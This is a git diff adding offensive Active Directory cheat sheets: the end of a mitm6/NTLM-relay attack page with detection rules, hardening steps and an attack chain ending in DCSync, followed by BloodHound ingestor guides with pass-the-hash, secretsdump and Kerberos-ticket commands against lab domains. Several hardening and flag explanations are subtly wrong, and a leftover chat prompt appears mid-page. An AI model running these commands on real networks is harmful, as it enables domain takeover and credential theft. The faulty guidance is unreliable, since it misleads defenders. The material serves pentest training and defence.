immediate indicator of mitm6 in operation. Network-level detection via Zeek scripts or Suricata rules monitoring DHCPv6 traffic is the most reliable defence. On the Windows side, a new Domain Admin account created without a corresponding ITSM ticket is a high-confidence alert. + +### Sigma Rules for Detection + +**Rule: Rogue DHCPv6 Server Detection** +```yaml +title: DHCPv6 Advertise from Non-DHCP Host +detection: + selection: + NetworkProtocol: DHCPv6 + DHCPv6MessageType: Advertise + SourceIP: '!10.10.10.10' # Exclude legitimate DHCP server + condition: selection +``` + +**Rule: Suspicious LDAP Modifications via Relay** +```yaml +title: Bulk LDAP Group Modification (Possible Relay) +detection: + selection: + EventID: 5136 + ObjectClass: group + AttributeLDAPDisplayName: member + ValueAdded: '*' + condition: selection | count(ObjectDN) > 5 and timespan(5m) +``` + +### EDR-Specific Detections + +- **Crowdstrike Falcon:** Monitor for IPv6 DNS server changes + NTLM relay auth in short time window +- **Defender for Endpoint:** Alert on new user creation by system processes; flag DHCPv6 server role changes +- **Sentinel One:** Watch for network discovery commands (ipconfig /all, Get-NetIPConfiguration) followed by WPAD lookups +- **Carbon Black:** Correlate ntlmrelayx.py process creation with ldap:// network connections to DC + +### Hardening Commands + +```powershell +# ── Disable DHCPv6 client via Group Policy ───────────────────────────────── +Computer Configuration → Administrative Templates → + Network → TCPIP Settings → IPv6 Transition Technologies + Set "6to4 State" = Disabled + Set "ISATAP State" = Disabled + +# ── Registry-based mitigation (local machine) ──────────────────────────────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v DisabledComponents /t REG_DWORD /d 0xFF /f +# 0xFF disables all IPv6 completely (aggressive but effective) +# 0x01 disables IPv6 on all non-tunnel interfaces (balanced) + +# ── Windows Firewall — Block DHCPv6 inbound ─────────────────────────────────── +powershell -NoProfile -Command "Get-NetFirewallRule -DisplayName '*DHCPv6*' | Set-NetFirewallRule -Enabled False" + +# ── IPv6 priority adjustment (reduces DHCPv6 preference) ──────────────────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters" /v IpUseDhcpNameServer /t REG_DWORD /d 0 /f + +# ── RA Guard (prevents rogue router advertisements) ─────────────────────────── +# On edge firewall/router: +# Cisco: ipv6 nd raguard attach-policy {policy-name} +# Juniper: forwarding-options family inet6 router-discovery {ra-guard} + +# ── Enforce LDAP signing + channel binding on DC ──────────────────────────── +dsregcmd /status # Check current settings +# Set via GPO: Computer Config → Policies → Windows Settings → Security Settings → +# Local Policies → Security Options: +# "Domain member: Require strong (Windows 2000 or later) session key" +# "LDAP client signing requirements" = Require Signing +``` + +*** + +## 🗺️ MITRE ATT&CK + +| Technique | ID | Description | +|---|---|---| +| **Adversary-in-the-Middle** | T1557 | mitm6 performs MITM on IPv6 DNS traffic | +| **LLMNR/NBT-NS Poisoning** | T1557.001 | DHCPv6 hijacking is conceptually similar to LLMNR poisoning — intercepting legitimate protocol to redirect to attacker | +| **Exploitation for Privilege Escalation** | T1548 | ntlmrelayx relay chain escalates from low user to Domain Admin | +| **Account Manipulation** | T1098 | Creation of new Domain Admin account via relayed LDAP authentication | +| **NTLM Relay** | (Implied T1557 + T1040) | Core technique: capture NTLM auth, relay to different service | + +*** + +## 🔗 Attack Chain Context + +``` +[mitm6 DHCPv6 Poisoning] ──→ Rogue DNS Server for All Subnet Victims + │ + ├──→ WPAD NTLM Auth → ntlmrelayx LDAP → New DA Account → DCSync + ├──→ WPAD NTLM Auth → ntlmrelayx LDAPS → Shadow Credentials → TGT + ├──→ WPAD NTLM Auth → ntlmrelayx ADCS → DC Cert → TGT → DCSync + ├──→ WPAD NTLM Auth → ntlmrelayx SMB → Shell + LSASS dump → PtH + ├──→ DNS hijack → redirect all traffic → full MitM for credential harvest + └──→ Wait for DA to log in → instant Enterprise Admin creation → game over +``` + +**The scenario that ends engagements in minutes:** mitm6 is running. An administrator logs into any domain-joined workstation on the subnet — even just to check something. Their machine sends a DHCPv6 Solicit. mitm6 responds. WPAD queries flow to the attacker. NTLM authentication arrives at ntlmrelayx. ntlmrelayx relays to DC LDAP. A new account is created in Domain Admins. DCSync is run. Every domain password hash is exfiltrated. **Total time: under 3 minutes**. + +**Cross-references:** +- Attack #10: Credential Hunting in Shares / GPP Passwords (alternative initial access without relay) +- Attack #72: LAPS Deprecation & Takeover (modern mitigation mechanism, but requires proper deployment) + +*** + +> ✅ **Attack #9 — mitm6 complete.** Tell me to move on when you're ready for **Attack #10 — Credential Hunting in Shares / GPP Passwords**. + +Sources + MITM6 + NTLM Relay: How IPv6 Auto-Configuration Leads to Full ... https://www.resecurity.com/blog/article/mitm6-ntlm-relay-how-ipv6-auto-configuration-leads-to-full-domain-compromise + IPv6 Attacks - README - Preperation | OSCP https://oscp.adot8.com/active-directory/initial-attack-strategy/ipv6-attacks + MITM6 IPv6 Attack | Pentesting Checklist - GitBook https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/initial-attack-vectors/mitm6-ipv6-attack + [PDF] Exploiting Ipv6 DNS Behavior in Windows 11 Networks - IJFMR https://www.ijfmr.com/papers/2025/6/58968.pdf + IPv6 - Man in the Middle | We explain attack and defense - ProSec https://www.prosec-networks.com/en/blog/ipv6-mitm/ + IPv6 DNS Takeover with MitM6: Strategies for Network Security https://www.evolvesecurity.com/blog-posts/tools-of-the-trade-ipv6-dns-takeover-with-mitm6 + IPv6 Attacks - Infosec Notes https://notes.frozensoliddesigns.com/exploitation/active-directory/ipv6-attacks + Fragmentation Considered Poisonous https://arxiv.org/pdf/1205.4011.pdf + Security of Patched DNS http://arxiv.org/pdf/1205.5190.pdf + The Impact of DNS Insecurity on Time https://arxiv.org/pdf/2010.09338.pdf + Hybrid Detection and Mitigation of DNS Protocol MITM attack based on Firefly algorithm with Elliptical Curve Cryptography https://publications.eai.eu/index.php/phat/article/download/3177/2319 + Injection Attacks Reloaded: Tunnelling Malicious Payloads over DNS https://arxiv.org/pdf/2205.05439.pdf + Encrypted and Covert DNS Queries for Botnets: Challenges and + Countermeasures http://arxiv.org/pdf/1909.07099.pdf + HADES: Detecting Active Directory Attacks via Whole Network Provenance + Analytics http://arxiv.org/pdf/2407.18858.pdf + A Survey on Malicious Domains Detection through DNS Data Analysis https://arxiv.org/pdf/1805.08426.pdf + IPv6 Attack with MITM6 & NTLMRELAYX - YouTube https://www.youtube.com/watch?v=AmcWc2CjXx8 + How to prevent IPv6 DNS Takeover with mitm6 - LinkedIn https://www.linkedin.com/posts/abdussatter51_ipv6-dns-take-over-on-active-directory-activity-7319677013928067072-PP3o + Relaying Kerberos with MiTM6 - CVE-2026-20929 - YouTube https://www.youtube.com/watch?v=RGoSvD-P_FU + Hacks Weekly #61 - Man in the middle with MITM6 and NTLMRelay https://www.youtube.com/watch?v=qb0l5cPz0nw + Domain Admin via IPv6 DNS Takeover : r/HowToHack - Reddit https://www.reddit.com/r/HowToHack/comments/e8n67r/domain_admin_via_ipv6_dns_takeover/ + Six Minutes for MiTM6 - YouTube https://www.youtube.com/watch?v=qrFxDNotgO8 + Network Relaying and NTLM Relay Attacks in Windows Domains https://www.lrqa.com/en/cyber-labs/network-relaying-abuse-windows-domain/ + caster0x00/Intercept: MITM Field Manual - GitHub https://github.com/caster0x00/MITMonster diff --git a/src/content/sheets/active-directory/attack.md b/src/content/sheets/active-directory/attack.md @@ -0,0 +1,11 @@ +--- +title: "Attack" +description: "Attack — operator reference." +category: active-directory +tags: ["active-directory"] +tools: [] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack.md" +--- + diff --git a/src/content/sheets/active-directory/bloodhound-ce-python.md b/src/content/sheets/active-directory/bloodhound-ce-python.md @@ -0,0 +1,239 @@ +--- +title: "bloodhound-ce-python" +description: "pipx install bloodhound-ce # provides bloodhound-ce-python" +category: active-directory +tags: ["active-directory", "kerberos"] +tools: ["Nmap", "Impacket", "BloodHound", "faketime"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/bloodhound-ce-python-cheatsheet.md" +--- +# BloodHound CE Python Cheat Sheet + +> [!info] What this is +> `bloodhound-ce-python` is the Python (impacket-based) ingestor for **BloodHound Community Edition**. It runs remotely from Linux — no domain-joined Windows host needed — and outputs JSON/zip for upload into the BHCE web UI. Based on dirkjanm's `BloodHound.py` (the `bloodhound-ce` branch). + +> [!warning] CE vs legacy output are NOT interchangeable +> BloodHound **CE** uses a different JSON schema from legacy BloodHound. Use `bloodhound-ce-python` for CE and the older `bloodhound-python` for legacy. Uploading the wrong format silently fails or mis-parses. See BloodHound-Python_Cheatsheet for the legacy tool. + +```bash +pipx install bloodhound-ce # provides bloodhound-ce-python +# or on Kali: +sudo apt install bloodhound-ce-python +``` + +--- + +## Table of Contents + +1. [Quick Start](#1-quick-start) +2. [Authentication](#2-authentication) +3. [Collection Methods (`-c`)](#3-collection-methods--c) +4. [DNS & Nameserver](#4-dns--nameserver) +5. [Kerberos & Clock Skew](#5-kerberos--clock-skew) +6. [Ingesting into BHCE](#6-ingesting-into-bhce) +7. [Questions & Answers](#7-questions--answers) +8. [Full Flag Reference](#8-full-flag-reference) + +--- + +## 1. Quick Start + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A[Creds or ticket] --> B[bloodhound-ce-python<br/>-c All --zip] + B --> C[*.zip output] + C --> D[Upload in BHCE UI<br/>Administration -> File Ingest] + D --> E[Run Cypher / paths] +``` + +```bash +# Password auth, collect everything, zip the result +bloodhound-ce-python -d corp.local -u user -p 'Passw0rd!' \ + -dc dc01.corp.local -ns 10.10.10.5 -c All --zip +``` + +--- + +## 2. Authentication + +```bash +# Plaintext password +bloodhound-ce-python -d corp.local -u user -p 'Passw0rd!' -ns 10.10.10.5 -c All --zip + +# NTLM hash (pass-the-hash) — LM:NT or just NT +bloodhound-ce-python -d corp.local -u user --hashes :NTHASH -ns 10.10.10.5 -c All --zip + +# Kerberos ticket from ccache +export KRB5CCNAME=user.ccache +bloodhound-ce-python -d corp.local -u user -k -no-pass -dc dc01.corp.local -ns 10.10.10.5 -c All --zip + +# AES key +bloodhound-ce-python -d corp.local -u user -aesKey <hex> -k -ns 10.10.10.5 -c All --zip + +# Prompt for password interactively (keep it off your shell history) +bloodhound-ce-python -d corp.local -u user -ns 10.10.10.5 -c All --zip # will prompt +``` + +| Flag | Meaning | +| :-- | :-- | +| `-u` / `--username` | Username (no domain) | +| `-p` / `--password` | Password (omit to be prompted) | +| `--hashes LM:NT` | Pass-the-hash (use `:NT` for NT-only) | +| `-k` / `--kerberos` | Use Kerberos auth (reads `KRB5CCNAME`) | +| `-no-pass` | No password (ticket-based) | +| `-aesKey` | Kerberos AES128/256 key | +| `-d` / `--domain` | Target domain FQDN | + +--- + +## 3. Collection Methods (`-c`) + +```bash +-c Default # Group, LocalAdmin, Session, Trusts, ACL, ObjectProps, Container +-c All # everything except LoggedOn +-c DCOnly # LDAP-only, no host connections — quietest, no SMB touch +-c Session,LoggedOn # comma-separate multiple methods +``` + +| Method | Collects | Noise | +| :-- | :-- | :-- | +| `Group` | Group memberships | low (LDAP) | +| `LocalAdmin` | Local admin rights (SAMR/host) | med | +| `RDP` / `DCOM` / `PSRemote` | Remote-access rights | med | +| `Session` | Active user sessions | med (touches hosts) | +| `LoggedOn` | Logged-on users (needs admin) | high | +| `Trusts` | Domain trusts | low | +| `ACL` | Object ACLs / DACLs | low | +| `ObjectProps` | Attributes (descriptions, pwd age…) | low | +| `Container` | OU/GPO container structure | low | +| `DCOnly` | Everything obtainable via LDAP only | **lowest** | +| `Default` | Sensible bundle (see above) | med | +| `All` | All except LoggedOn | high | + +> [!tip] Start quiet, then go loud +> On a stealth engagement run `-c DCOnly` first (pure LDAP, no SMB/host connections). Only escalate to `Session`/`All` once you accept the extra host traffic. + +--- + +## 4. DNS & Nameserver + +BloodHound resolves computer names over DNS — point it at the DC or it will fail to resolve internal hosts. + +```bash +-ns 10.10.10.5 # use the DC as nameserver (most common) +--dns-tcp # force DNS over TCP (some AD DNS blocks UDP) +-d corp.local # domain must be the FQDN, not NetBIOS +--dns-timeout 5 # bump if resolution is slow + +# If /etc/resolv.conf already points at the DC you can omit -ns, but explicit is safer. +``` + +> [!warning] "Could not resolve" errors +> Almost always a DNS problem, not auth. Set `-ns <DC-IP>`, add `--dns-tcp`, and make sure `-d` is the full domain FQDN. + +--- + +## 5. Kerberos & Clock Skew + +When authenticating with `-k`, Kerberos is time-sensitive. If `nmap` showed clock skew, wrap the collector with `faketime` (full guide: faketime-cheatsheet). + +```bash +# DC is 7h30m ahead -> +7h30m ; use -f so child processes inherit the fake clock +export KRB5CCNAME=user.ccache +faketime -f '+7h30m' bloodhound-ce-python -d corp.local -u user -k -no-pass \ + -dc dc01.corp.local -ns 10.10.10.5 -c All --zip + +# Get a TGT first (impacket), then collect under faketime: +faketime -f '+7h30m' impacket-getTGT corp.local/user:'Passw0rd!' -dc-ip 10.10.10.5 +export KRB5CCNAME=user.ccache +faketime -f '+7h30m' bloodhound-ce-python -d corp.local -u user -k -no-pass \ + -dc dc01.corp.local -ns 10.10.10.5 -c DCOnly --zip +``` + +> [!note] `-dc` should be the FQDN +> For Kerberos, pass the DC's hostname (`-dc dc01.corp.local`), not just its IP — the SPN and realm need to match. Keep `-ns <IP>` for name resolution. + +--- + +## 6. Ingesting into BHCE + +```bash +# Collector writes a zip of JSON files: +ls -1 *.zip # e.g. 20260719_bloodhound.zip +``` + +Then in the BloodHound CE web UI: **Administration → File Ingest → Upload Files**, drop the zip, wait for processing, then run Cypher / pathfinding. + +```bash +# CLI alternative: bhcli / API upload (if you script ingestion) +# The web UI drag-and-drop is the supported path for one-off engagements. +``` + +> [!tip] Timestamped output +> Rename per host/user so multiple collections don't clobber each other: +> ```bash +> bloodhound-ce-python ... --zip -op "$(date +%Y%m%d)_corp_user" +> ``` + +--- + +## 7. Questions & Answers + +### Q: What's the quietest collection for a stealth run? +```bash +bloodhound-ce-python -d corp.local -u user -p 'Passw0rd!' -ns 10.10.10.5 -c DCOnly --zip +``` +**Answer:** `-c DCOnly` — pure LDAP, no SMB/host connections. + +### Q: I have a Kerberos ticket and the DC clock is skewed. Full command? +```bash +export KRB5CCNAME=user.ccache +faketime -f '+7h30m' bloodhound-ce-python -d corp.local -u user -k -no-pass \ + -dc dc01.corp.local -ns 10.10.10.5 -c All --zip +``` +**Answer:** wrap with `faketime -f` and add `-k -no-pass`. + +### Q: Collection works but hosts won't resolve. Fix? +**Answer:** DNS. Add `-ns <DC-IP>`, try `--dns-tcp`, ensure `-d` is the FQDN. + +### Q: Can I pass-the-hash? +```bash +bloodhound-ce-python -d corp.local -u user --hashes :NTHASH -ns 10.10.10.5 -c All --zip +``` +**Answer:** Yes — `--hashes :NT` (leave LM blank). + +--- + +## 8. Full Flag Reference + +| Flag | Purpose | +| :-- | :-- | +| `-d`, `--domain` | Domain FQDN | +| `-u`, `--username` | Username | +| `-p`, `--password` | Password (prompts if omitted) | +| `--hashes LM:NT` | Pass-the-hash | +| `-k`, `--kerberos` | Kerberos auth (uses `KRB5CCNAME`) | +| `-no-pass` | No password (ticket) | +| `-aesKey` | Kerberos AES key | +| `-c`, `--collectionmethod` | What to collect (see §3) | +| `-dc` | Domain controller hostname (FQDN) | +| `-gc` | Global catalog server | +| `-ns`, `--nameserver` | DNS server for resolution | +| `--dns-tcp` | DNS over TCP | +| `--dns-timeout` | DNS timeout (s) | +| `--zip` | Zip the JSON output | +| `-op`, `--outputprefix` | Prefix output filenames | +| `--computerfile` | Restrict to hosts in a file | +| `--exclude-dcs` | Skip DCs during host enumeration | +| `-w`, `--workers` | Parallel enumeration threads | +| `-v` | Verbose | + +--- + +## See Also + +- faketime-cheatsheet — beating Kerberos clock skew when using `-k` +- BloodHound-Python_Cheatsheet — legacy (non-CE) collector +- Kerberos — tickets, TGT/TGS, PKINIT diff --git a/src/content/sheets/active-directory/bloodhound-python.md b/src/content/sheets/active-directory/bloodhound-python.md @@ -0,0 +1,804 @@ +--- +title: "BloodHound-Python_" +description: "bloodhound-python --help" +category: active-directory +tags: ["active-directory", "kerberos"] +tools: ["Nmap", "NetExec", "Impacket", "BloodHound", "SharpHound"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:ActiveDirectory/BloodHound-Python_Cheatsheet.md" +--- +# 🐍 BloodHound-Python Cheatsheet + +> **Complete guide to using bloodhound-python for remote Active Directory enumeration** + +--- + +## 📋 Table of Contents + +- [Overview](#-overview) +- [Installation](#-installation) +- [Basic Usage](#-basic-usage) +- [Authentication Methods](#-authentication-methods) +- [Collection Methods](#-collection-methods) +- [Advanced Options](#-advanced-options) +- [Output Options](#-output-options) +- [Common Usage Scenarios](#-common-usage-scenarios) +- [SharpHound Comparison](#-sharphound-comparison) +- [Troubleshooting](#-troubleshooting) +- [Post-Collection](#-post-collection) + +--- + +## 🎯 Overview + +**bloodhound-python** (also known as **BloodHound.py**) is a Python-based ingestor for BloodHound that allows remote data collection from Active Directory environments without needing to execute code on Windows systems. + +### Key Features +- ✅ Remote enumeration from Linux +- ✅ No code execution on target required +- ✅ LDAP-based collection +- ✅ Multiple authentication methods +- ✅ Kerberos support +- ✅ Outputs JSON files for BloodHound + +### When to Use bloodhound-python vs SharpHound + +| Scenario | Tool | +|----------|------| +| Have valid AD credentials, attacking from Linux | **bloodhound-python** | +| Have shell access on Windows machine | **SharpHound** | +| Need session enumeration | **SharpHound** | +| Remote enumeration only | **bloodhound-python** | +| Need local admin rights detection | **SharpHound** | +| Stealth is priority (no Windows execution) | **bloodhound-python** | + +--- + +## 📦 Installation + +### Kali Linux (Pre-installed) + +```bash +# Usually pre-installed on Kali +bloodhound-python --help + +# If not installed +sudo apt update +sudo apt install bloodhound.py +``` + +### Manual Installation (pip) + +```bash +# Install via pip +pip3 install bloodhound + +# Or install from GitHub (latest version) +git clone https://github.com/fox-it/BloodHound.py.git +cd BloodHound.py +pip3 install . + +# Verify installation +bloodhound-python --version +``` + +### Dependencies + +```bash +# Required dependencies +pip3 install dnspython ldap3 impacket + +# For Kerberos support +sudo apt install krb5-user +pip3 install pyasn1 pyasn1-modules +``` + +--- + +## 🚀 Basic Usage + +### Standard Execution + +```bash +# Basic enumeration with all collection methods +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# With automatic ZIP creation +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Specify output directory +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bloodhound + +# Custom collection name +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --collectionmethod all +``` + +### Essential Parameters + +| Parameter | Description | Example | +|-----------|-------------|---------| +| `-c, --collectionmethod` | Collection method(s) | `-c all` | +| `-u, --username` | Username | `-u judith.mader` | +| `-p, --password` | Password | `-p judith09` | +| `-d, --domain` | Domain name | `-d certified.htb` | +| `-ns, --nameserver` | Domain Controller IP | `-ns 10.10.11.41` | +| `-dc, --domain-controller` | DC hostname | `-dc DC01.certified.htb` | + +--- + +## 🔐 Authentication Methods + +### Method 1: Username & Password + +```bash +# Basic password authentication +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# With domain prefix +bloodhound-python -c all -u certified.htb/judith.mader -p judith09 -ns 10.10.11.41 + +# Using domain\username format +bloodhound-python -c all -u 'certified.htb\judith.mader' -p judith09 -ns 10.10.11.41 +``` + +### Method 2: NTLM Hash (Pass-the-Hash) + +```bash +# Using NTLM hash +bloodhound-python -c all -u judith.mader --hashes :8846f7eaee8fb117ad06bdd830b7586c -d certified.htb -ns 10.10.11.41 + +# With LM hash (usually empty) +bloodhound-python -c all -u judith.mader --hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c -d certified.htb -ns 10.10.11.41 + +# From secretsdump output +bloodhound-python -c all -u administrator --hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41 +``` + +### Method 3: Kerberos Authentication + +```bash +# Using Kerberos ticket +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k + +# With ticket cache +export KRB5CCNAME=/tmp/judith.ccache +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --kerberos + +# Using AES key +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 --aesKey <aes_key> +``` + +### Method 4: No Password (with .ccache file) + +```bash +# Set Kerberos ticket cache +export KRB5CCNAME=/tmp/krb5cc_judith.mader + +# Run without password +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --no-pass +``` + +### Method 5: Interactive Password Prompt + +```bash +# Prompt for password (more secure, no password in bash history) +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 +# Will prompt: Password: +``` + +--- + +## 🎯 Collection Methods + +### Available Collection Methods + +| Method | Description | What It Collects | +|--------|-------------|------------------| +| **all** | All collection methods | Everything below | +| **group** | Group memberships | Groups and members | +| **localadmin** | Local admin rights | Local admin relationships | +| **session** | User sessions | Logged on users | +| **trusts** | Domain trusts | Trust relationships | +| **default** | Default safe methods | Group, LocalAdmin, Session, Trusts | +| **container** | Container info | OUs and Containers | +| **psremote** | PSRemote rights | PowerShell remoting access | +| **dcom** | DCOM rights | DCOM execution rights | +| **rdp** | RDP rights | Remote Desktop access | +| **objectprops** | Object properties | Additional AD object properties | +| **acl** | ACL enumeration | Access Control Lists | +| **loggedon** | Logged on users | Currently logged on users | + +### Collection Method Usage + +```bash +# All methods (most comprehensive) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Default methods only +bloodhound-python -c default -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Specific single method +bloodhound-python -c group -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Multiple specific methods +bloodhound-python -c group,acl,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# All except sessions (less noisy) +bloodhound-python -c group,localadmin,trusts,acl,container,objectprops -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 +``` + +### Method Comparison + +```bash +# Quick enumeration (fastest) +bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Comprehensive enumeration (slower but complete) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Stealth enumeration (LDAP only, no SMB) +bloodhound-python -c group,acl,objectprops,container,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 +``` + +--- + +## ⚙️ Advanced Options + +### Domain Controller Specification + +```bash +# Using IP address (nameserver) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Using hostname (domain controller) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb + +# Using FQDN +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -dc dc01.certified.htb -ns 10.10.11.41 + +# Multiple DCs (will try in order) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41,10.10.11.42 +``` + +### LDAP Configuration + +```bash +# Specify LDAP port (default: 389) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 389 + +# Use LDAPS (secure LDAP, port 636) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 + +# Use Global Catalog port +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 3268 + +# Use GC-SSL +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 3269 + +# Disable certificate verification (LDAPS) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --ldapport 636 --disable-signing +``` + +### DNS Configuration + +```bash +# Use custom DNS server +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-tcp + +# Force TCP for DNS queries +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-tcp + +# Specify DNS timeout +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --dns-timeout 5 +``` + +### Global Catalog Options + +```bash +# Use Global Catalog for queries +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --global-catalog + +# Specify GC hostname +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --gc dc01.certified.htb +``` + +### Computer/Host Enumeration + +```bash +# Exclude domain controllers from enumeration +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --exclude-dcs + +# Custom computer filter (LDAP filter) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --computerfilter "(operatingSystem=*Server*)" + +# Disable computer enumeration (LDAP only) +bloodhound-python -c group,acl -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 +``` + +--- + +## 📁 Output Options + +### Output Directory & Files + +```bash +# Default output (current directory) +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 + +# Custom output directory +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bloodhound_data + +# Specific output directory with ZIP +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o /tmp/bh --zip +``` + +### ZIP File Creation + +```bash +# Automatically create ZIP file +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# ZIP file will be named: YYYYMMDDHHMMSS_bloodhound.zip +``` + +### Output Files Generated + +Without `--zip`: +``` +20241127163045_computers.json +20241127163045_users.json +20241127163045_groups.json +20241127163045_domains.json +20241127163045_gpos.json +20241127163045_ous.json +20241127163045_containers.json +``` + +With `--zip`: +``` +20241127163045_bloodhound.zip (contains all JSON files) +``` + +--- + +## 🔥 Common Usage Scenarios + +### Scenario 1: Initial Domain Enumeration + +```bash +# Quick initial recon +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Save to specific location +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 -o ~/htb/certified/bloodhound --zip +``` + +### Scenario 2: Stealth Enumeration (LDAP Only) + +```bash +# No SMB connections, LDAP queries only +bloodhound-python -c group,acl,objectprops,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Minimize queries +bloodhound-python -c group,trusts -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip +``` + +### Scenario 3: After Obtaining Hash + +```bash +# Pass-the-hash attack +bloodhound-python -c all -u administrator --hashes :32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41 --zip + +# After secretsdump +impacket-secretsdump certified.htb/judith.mader:judith09@10.10.11.41 +# Use extracted hash +bloodhound-python -c all -u administrator --hashes :32693b11e6aa90eb43d32c72a07ceea6 -d certified.htb -ns 10.10.11.41 --zip +``` + +### Scenario 4: Multi-Domain Environment + +```bash +# Enumerate parent domain +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip + +# Enumerate child domain +bloodhound-python -c all -u judith.mader -p judith09 -d child.certified.htb -ns 10.10.11.42 --zip + +# Enumerate trusted domain (if creds work) +bloodhound-python -c all -u judith.mader -p judith09 -d external.local -ns 10.10.11.50 --zip +``` + +### Scenario 5: Kerberos Authentication + +```bash +# Get TGT first +impacket-getTGT certified.htb/judith.mader:judith09 + +# Set ticket cache +export KRB5CCNAME=/tmp/judith.mader.ccache + +# Run bloodhound with Kerberos +bloodhound-python -c all -u judith.mader -d certified.htb -ns 10.10.11.41 -k --no-pass --zip +``` + +### Scenario 6: Through SOCKS Proxy + +```bash +# Set up proxy (e.g., with chisel) +export HTTP_PROXY=socks5://127.0.0.1:1080 +export HTTPS_PROXY=socks5://127.0.0.1:1080 + +# Or use proxychains +proxychains bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip +``` + +### Scenario 7: Limited User Permissions + +```bash +# Low-privilege user - collect what you can +bloodhound-python -c group,trusts -u lowpriv -p password123 -d certified.htb -ns 10.10.11.41 --zip + +# Check for interesting group memberships and trusts +``` + +--- + +## 🆚 SharpHound Comparison + +### Feature Comparison + +| Feature | bloodhound-python | SharpHound | +|---------|------------------|------------| +| **Platform** | Linux/Remote | Windows/Local | +| **Execution** | No code on target | Runs on target | +| **Sessions** | ❌ Limited | ✅ Full | +| **Local Admin** | ⚠️ Via LDAP | ✅ Direct query | +| **LDAP Data** | ✅ Full | ✅ Full | +| **Groups** | ✅ Full | ✅ Full | +| **ACLs** | ✅ Full | ✅ Full | +| **GPOs** | ✅ Full | ✅ Full | +| **Stealth** | ✅ Better | ⚠️ More noisy | +| **Speed** | ⚠️ Slower | ✅ Faster | + +### Command Comparison + +**bloodhound-python:** +```bash +bloodhound-python -c all -u judith.mader -p judith09 -d certified.htb -ns 10.10.11.41 --zip +``` + +**SharpHound equivalent (on Windows as judith.mader):** +```powershell +.\SharpHound.exe -c All -d certified.htb --domaincontroller 10.10.11.41 +``` + +### When to Use Each + +**Use bloodhound-python when:** +- ✅ You have valid credentials but no Windows access +- ✅ You want to enumerate remotely from Linux +- ✅ You need stealth (no code execution on target) +- ✅ You're doing initial reconnaissance + 